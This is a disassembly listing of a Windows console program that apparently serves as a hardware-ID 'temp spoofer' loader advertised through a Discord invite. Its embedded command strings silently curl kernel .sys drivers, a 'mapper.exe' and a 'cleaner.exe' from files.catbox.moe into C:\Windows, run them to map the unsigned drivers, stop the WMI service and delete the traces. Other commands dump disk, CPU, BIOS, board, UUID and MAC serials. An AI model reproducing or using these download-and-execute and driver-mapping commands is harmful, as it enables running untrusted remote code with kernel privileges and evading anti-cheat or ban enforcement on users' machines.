Function at 0x140001050
Capabilities:
Delete file
Execute command
Set console window title
Terminate process

Disassembly:
sub rsp, 0x98
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x88], rax
lea rcx, str.discord.gg_vixen_temp_spoofer
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rdx, str.Loading_UnKnowns_pasted_ahh_loader_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
mov ecx, 0x9c4
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rdx, str.this_doesnt_do_shit_but_its_a_waste_of_time_so_:3___Unknown_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [0x140003300]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str._n_n__1__Malice_1_Temp_n__4__Malice_2_Temp_n__2__Check_Serials_n__3__Exit_n_n_Choose_option:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
xorps xmm0, xmm0
movups xmmword [rsp + 0x28], xmm0
movdqa xmm1, xmmword [0x1400037c0]
movdqu xmmword [rsp + 0x38], xmm1
mov byte [rsp + 0x28], 0
movups xmmword [rsp + 0x48], xmm0
movdqu xmmword [rsp + 0x58], xmm1
mov byte [rsp + 0x48], 0
movups xmmword [rsp + 0x68], xmm0
movdqu xmmword [rsp + 0x78], xmm1
mov byte [rsp + 0x68], 0
lea rdx, [rsp + 0x20]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___int____ptr64____ptr64]
mov ecx, dword [rsp + 0x20]
sub ecx, 1
je 0x1400012f1
sub ecx, 1
je 0x140001189
sub ecx, 1
je 0x14000126e
sub ecx, 1
je 0x140001277
cmp ecx, 1
je 0x140001162
xor eax, eax
mov rcx, qword [rsp + 0x88]
xor rcx, rsp
call fcn.140001630
add rsp, 0x98
ret
lea rcx, str.curl___silent_https:__files.catbox.moe_y9cisa.sys__o_C:Windowscleaner.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowscleaner.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowscleaner.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rdx, str.Disk_Drive_Serials_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.wmic_diskdrive_get_model__serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.CPU_Serials_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.wmic_cpu_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.BIOS_Serials_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.wmic_bios_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Motherbaord_Serials_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.wmic_baseboard_get_serialnumber
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.UUID_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.wmic_path_win32_computersystemproduct_get_uuid
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.MAC_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.getmac
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rdx, str.Press_any_key_to_go_back_n
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
call fcn.1400013d0
lea rcx, str.pause_nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call main
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
lea rcx, str.curl___silent_https:__files.catbox.moe_2hp1m9.sys__o_C:Windows_temp2.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xie8no.bin__o_C:Windowsmapper.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsmapper.exe_C:Windows_temp2.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_temp2.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windowsmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor r9d, r9d
lea r8, str.what_the_sigma___unknown
lea rdx, str.Spoofing_is_done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140001000
int3
lea rcx, str.curl___silent_https:__files.catbox.moe_bqnl1y.sys__o_C:Windows_temp.sys__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.curl___silent_https:__files.catbox.moe_xie8no.bin__o_C:Windowsmapper.exe__nul
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windowsmapper.exe_C:Windows_temp.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.net_stop_winmgmt__y
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_temp.sys
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
lea rcx, str.C:Windowsmapper.exe
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov edx, 0x1f4
mov ecx, edx
call qword [sym.imp.KERNEL32.dll_Beep]
xor r9d, r9d
lea r8, str.what_the_sigma___unknown
lea rdx, str.Spoofing_is_done
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
call fcn.140001000
int3